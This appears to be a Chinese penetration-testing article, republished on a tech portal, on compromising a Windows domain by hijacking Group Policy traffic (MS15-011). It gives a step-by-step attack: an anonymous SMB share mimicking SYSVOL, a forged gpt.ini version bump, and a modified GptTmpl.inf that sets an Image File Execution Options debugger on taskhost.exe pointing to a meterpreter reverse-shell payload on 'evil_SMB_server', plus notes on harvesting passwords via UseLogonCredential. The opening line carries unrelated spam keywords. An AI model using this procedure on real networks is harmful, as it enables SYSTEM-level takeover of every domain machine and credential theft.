自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

域滲透之流量劫持

安全 黑客攻防
windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計(jì)算機(jī),打印機(jī),用戶賬戶和其他的安全主體組成,被域控制器管理。

說在前面

windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計(jì)算機(jī),打印機(jī),用戶賬戶和其他的安全主體組成,被域控制器管理。

域是微軟提供給企業(yè)的一個(gè)局域網(wǎng)管理措施,使得信息技術(shù)人員能高效的管理和維護(hù)局域網(wǎng)中所有的主機(jī)和用戶。域位于每一個(gè)企業(yè)最核心的位置,在域上運(yùn)行著大量的企業(yè)核心應(yīng)用,如郵件系統(tǒng),協(xié)同辦公系統(tǒng),文件共享系統(tǒng)等。

在網(wǎng)絡(luò)滲透攻擊中,攻擊者如果獲取了域的權(quán)限,那么攻擊者就有可能獲取公司的機(jī)密,控制公司的一切。所以域安全是企業(yè)安全最為核心的一個(gè)環(huán)節(jié),并且微軟對域本身也在進(jìn)行不斷的安全加固。

NSA泄漏的文檔和工具讓人們明白了網(wǎng)絡(luò)的底層設(shè)備是多么的不堪一擊,但是部分運(yùn)維人員和安全人員仍然抱有幻想,只要養(yǎng)成正確的計(jì)算機(jī)使用習(xí)慣,不安全的底層網(wǎng)絡(luò)很難威脅到域的安全,但是事實(shí)往往不是這樣,Windows域本身十分脆弱,尤其是在不安全的網(wǎng)絡(luò)環(huán)境中,因?yàn)橛蚴腔谛湃蔚讓泳W(wǎng)絡(luò)進(jìn)行設(shè)計(jì)和建造的。

本文將利用另外一種方法,完成從底層網(wǎng)絡(luò)入侵windows域。

原理分析

當(dāng)?shù)讓泳W(wǎng)絡(luò)被攻陷,攻擊者就能輕易的劫持流量,偽造網(wǎng)絡(luò)節(jié)點(diǎn)。而劫持流量攻擊最基本的設(shè)計(jì)思路就是建立在一個(gè)假設(shè)之上,如果劫持了某個(gè)設(shè)備,能達(dá)到什么目的。

如果劫持了域控,能達(dá)到什么目的?

基于這個(gè)假設(shè),進(jìn)行了一系列測試,拿出其中一個(gè)測試與大家共同研究。

在微軟的官網(wǎng)上有如下描述:

組策略是在基于 Active Directory 域服務(wù) (AD DS) 的網(wǎng)絡(luò)上訪問和配置計(jì)算機(jī)及用戶設(shè)置的最輕松易行的方式。如果您的企業(yè)未在使用組策略,那么將會錯(cuò)失降低成本、控制配置、使用戶保持卓有成效和愉悅的心情以及增強(qiáng)安全性的大好機(jī)會。可以將使用組策略進(jìn)行配置視為“一舉多得”。

域控通過組策略完成對域內(nèi)機(jī)器的進(jìn)行配置的一種方式,windows域機(jī)器每間隔一段時(shí)間就會向域控制器請求更新組策略,以保證自身使用著最新的域策略。更新的過程是,域成員機(jī)器每間隔 90min+random()*30min ,向域控請求策略版本號,這個(gè)版本號存在于域控的gpt.ini文件中,位于

  1. \\domian_name\sysvol\domain_name\Policies 

文件夾中,文件內(nèi)容為:

  1. [General] 
  2. Version = 1 

這個(gè)版本號如果等于自身版本號,那么系統(tǒng)就認(rèn)為自身組策略是最新版本。然后重置計(jì)時(shí)器,等待下一個(gè)間隔去請求更新。

詳細(xì)數(shù)據(jù)包請求過程如下圖:

如果自身版本號小于返回的版本號,那么系統(tǒng)認(rèn)為自身組策略以過時(shí),就繼續(xù)請求registry.pol 和GptTmpl.ini文件,詳細(xì)數(shù)據(jù)包請求過程如下圖:

而GptTmpl.inf文件,是一個(gè)模版文件,允許遠(yuǎn)程修改域成員的注冊表。

如果劫持并且修改了GptTmpl.inf文件,就可以隨意修改請求該文件域成員的注冊表。利用劫持該文件入侵域的一種方式就是修改注冊表給域機(jī)器添加啟動(dòng)項(xiàng),等到機(jī)器重啟時(shí),就可以運(yùn)行指定文件或者腳本。

但是面臨著一個(gè)問題,必須等到該機(jī)器重新啟動(dòng)。該機(jī)器可能啟動(dòng)周期很長,攻擊者的啟動(dòng)腳本或攻擊payload存儲的位置就必須持續(xù)保持,很不方便。之前CoreSecurity的測試POC時(shí)修改AppInit_DLL注冊表鍵值,但是這個(gè)鍵值已經(jīng)不啟用很多年了。所以需要一個(gè)簡便高效的方式。再經(jīng)過多種利用測試之后,終于找到一種非常好用的方式,一個(gè)神奇的注冊表鍵值:

  1. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution optin] 

通過修改這個(gè)鍵值,可以給任一windows程序添加一個(gè)debugger調(diào)試器。例如可以給cmd.exe添加一個(gè)調(diào)試器debugger.exe,這樣你在啟動(dòng)cmd.exe 的時(shí)候,實(shí)際運(yùn)行的為:

  1. c:\debugger.exe cmd.exe 

通過這種方式,可以給IE,Chrome或者其他什么用戶可能會運(yùn)行的程序添加一個(gè)調(diào)試器,這種方式明顯會比等待用戶重啟要迅速的多。

即使是在用戶權(quán)限受限制的情況下,依然可以通過組策略劫持的方式來對該機(jī)器的注冊表進(jìn)行修改。但是在劫持完成之后,必須對注冊表進(jìn)行清理,因?yàn)樵撜{(diào)試程序不可能長久存在,那么之后用戶可能無法啟動(dòng)該程序。并且修改鍵值需要管理員權(quán)限。

為了避免猜錯(cuò)用戶使用的程序和較長的等待時(shí)間,經(jīng)過多次測試找到了一個(gè)更好的解決辦法。系統(tǒng)在更新組策略之后,會用系統(tǒng)權(quán)限創(chuàng)建一個(gè)新的進(jìn)程 taskhost.exe ,即使該用戶處于一個(gè)受限制的狀態(tài)。所以給taskhost.exe程序創(chuàng)建一個(gè)調(diào)試器,這樣就能在系統(tǒng)更新完粗策略后立刻獲取一個(gè)system權(quán)限的shell。不需要漫長的等待,不需要重啟,不需要用戶的任何操作,一切都是靜默中完成。

當(dāng)然,這種劫持組策略執(zhí)行命令的方式很早的時(shí)候就報(bào)告給了Microsoft,并且在2015年2月10日就發(fā)布安全公告 MS15-011并提供了補(bǔ)丁KB3000483。微軟決定在用戶端修復(fù)這個(gè)漏洞,強(qiáng)制使用“SMB Signing”。

但是,雖然這個(gè)漏洞在一年多前就已經(jīng)發(fā)布安全公告,并且提供了相關(guān)補(bǔ)丁,但是這個(gè)補(bǔ)丁是默認(rèn)不啟用的。

在微軟的官方公告中有這樣一段話:

This security update requires the following steps to be performed in order to protect against the vulnerability described in the bulletin (MS15-011). To enable this functionality, a system administrator must apply the following Group Policy settings in addition to installing security update 3000483.

其含義是:

系統(tǒng)管理員必須手動(dòng)配置組策略,啟用“UNC Hardened Access”來避免MS15-011漏洞所帶來的安全風(fēng)險(xiǎn)。詳細(xì)的配置策略在微軟的官方網(wǎng)站,簡單總結(jié)成了12個(gè)步驟,網(wǎng)頁鏈接如下:

https://support.microsoft.com/en-us/kb/3000483

微軟認(rèn)為這是一個(gè)漏洞,并且提供了相關(guān)的補(bǔ)丁。但是這個(gè)補(bǔ)丁并不是默認(rèn)啟用,必須管理員手動(dòng)配置12個(gè)步驟才能啟用。

所以該漏洞大多數(shù)環(huán)境中依然可以被當(dāng)作0DAY來使用。

測試

實(shí)驗(yàn)測試步驟如下:

1. 準(zhǔn)備存放payload的SMB服務(wù)器和相應(yīng)的payload

在該測試中,在攻擊者機(jī)器上啟用了SMB共享,創(chuàng)建一個(gè)映射為SYSVOL的目錄,命令如下:

  1. net share sysvol=C:\Users\TEST\Desktop\sysvol 

或者直接使用界面開啟共享,效果一樣。在文件夾中創(chuàng)建樹形結(jié)構(gòu),因?yàn)橛驒C(jī)器在請求更新的時(shí)候只會請求固定位置的文件。文件結(jié)構(gòu)如下:

  1. ─Domain_Name  
  2. └─Policies  
  3.     └─{31B2F340-016D-11D2-945F-00C04FB984F9} 
  4.              │  gpt.ini 
  5.              │ 
  6.              └─Machine 
  7.                  └─Microsoft 
  8.                      └─Windows NT 
  9.                          └─SecEdit 
  10.                                  GptTmpl.inf 

然后開啟整個(gè)文件夾的匿名共享,允許任何人訪問。

準(zhǔn)備payload程序,本測試準(zhǔn)備的是meterpreter_resver_tcp.exe,重命名為debugger.exe。

因?yàn)榻俪址绞讲灰粯?,如果選擇直接修改數(shù)據(jù)包內(nèi)容或者重新回包,可以不用創(chuàng)建樹形結(jié)構(gòu)目錄,但是SMB的匿名共享文件夾是需要的,用來存放payload。

2. 劫持中需要修改的數(shù)據(jù)

首先修改Gpt.ini文件,將其中的版本號改為一個(gè)較大數(shù)字,方便起見改為1000,如下:

  1. [General]  
  2. Version=1000 

然后修改策略文件GptTmpl.ini,文件原內(nèi)容如下:

  1. [Unicode] 
  2. Unicode=yes 
  3. [System Access] 
  4. MinimumPasswordAge = 1 
  5. MaximumPasswordAge = 42 
  6. MinimumPasswordLength = 7 
  7. PasswordComplexity = 1 
  8. PasswordHistorySize = 24 
  9. LockoutBadCount = 0 
  10. RequireLogonToChangePassword = 0 
  11. ForceLogoffWhenHourExpire = 0 
  12. ClearTextPassword = 0 
  13. LSAAnonymousNameLookup = 0 
  14. [Kerberos Policy] 
  15. MaxTicketAge = 10 
  16. MaxRenewAge = 7 
  17. MaxServiceAge = 600 
  18. MaxClockSkew = 5 
  19. TicketValidateClient = 1 
  20. [Registry Values
  21. MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1 
  22. [Version] 
  23. signature="$CHICAGO$" 
  24. Revision=1 

然后按照設(shè)計(jì)進(jìn)行相應(yīng)的修改,簡便起見,只添加修改注冊表項(xiàng),修改后的文件內(nèi)容如下:

  1. [Registry Values
  2. MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe 
  3. [Version] 
  4. signature="$CHICAGO$" 
  5. Revision=1 

將“evil_SMB_server”替換成放置payload的服務(wù)器地址,將“debugger.exe”替換成payload文件。

3. 開始攻擊

劫持流量到attacker上。在這里劫持流量的方式多種多樣,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的軟件,叫做Responder github,但是本次試驗(yàn)是專門針對路由器流量劫持定制的程序來完成所有操作。

首先,client會tree一下整個(gè)文件夾,然后請求Gpt.ini,對比版本號,然后繼續(xù)請求GptTmpl.ini文件,將文件中的注冊表模版應(yīng)用到注冊表中。應(yīng)用成功之后,下載并以debugger.exe作為調(diào)試器啟動(dòng)taskhost.exe程序, 然后稍等幾秒:

done

獲取了一臺機(jī)器的最高控制權(quán)限。

最多等待120min,就可以獲取到整個(gè)域機(jī)器的最高權(quán)限。除了域控制器,因?yàn)橛蚩刂破鞑粫埱蟾陆M策略。到那時(shí)如果域中有多個(gè)域控制器,它們之間會請求更新組策略,同樣可以被劫持。

除了域控外的所有設(shè)備都獲取了控制權(quán)限,已經(jīng)基本可以在域中暢行無阻了。

針對域控,只能使用通過組策略創(chuàng)建替換登錄腳本,添加啟動(dòng)項(xiàng)等方法中的一種。再或者,通過組策略添加登錄腳本,修改注冊表UseLogonCredential的鍵值,等機(jī)器完成重啟就能批量抓取用戶密碼,因?yàn)橛蚬芾韱T不可能只在域控上登錄。

或者使用其他的更好的方法 ,如有好的思路,請私信我,可以共同討論測試。

這樣就獲取到了整個(gè)域的控制權(quán)限。

總結(jié)

底層網(wǎng)絡(luò)設(shè)備很危險(xiǎn),并且底層網(wǎng)絡(luò)能給上層應(yīng)用和服務(wù)帶來難以想象的影響。只是現(xiàn)在的安全圈子沒有深刻認(rèn)識到。

責(zé)任編輯:武曉燕 來源: 安全客
相關(guān)推薦

2017-01-23 10:10:09

2014-12-31 15:05:11

Android流量監(jiān)控

2016-03-16 09:47:55

2021-03-09 07:38:15

Percona Xtr流量控制運(yùn)維

2016-03-22 10:14:25

域滲透滲透測試域控權(quán)限

2014-06-09 17:07:44

2014-04-16 15:56:17

2012-12-25 13:45:37

2015-10-27 11:11:46

2020-09-28 10:03:36

滲透

2019-03-29 09:39:24

域滲透DNSWindows

2022-10-11 17:51:49

分庫分表數(shù)據(jù)庫

2021-10-11 10:39:13

內(nèi)網(wǎng)信息收集

2021-03-02 09:41:52

Android App攻擊流量

2017-03-27 16:08:58

2014-09-12 18:18:02

tcpudtUDP

2021-03-29 12:01:51

流量劫持瀏覽器漏洞

2011-11-08 21:45:29

Linux 流量監(jiān)控

2012-11-29 16:11:06

2014-06-27 09:25:24

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號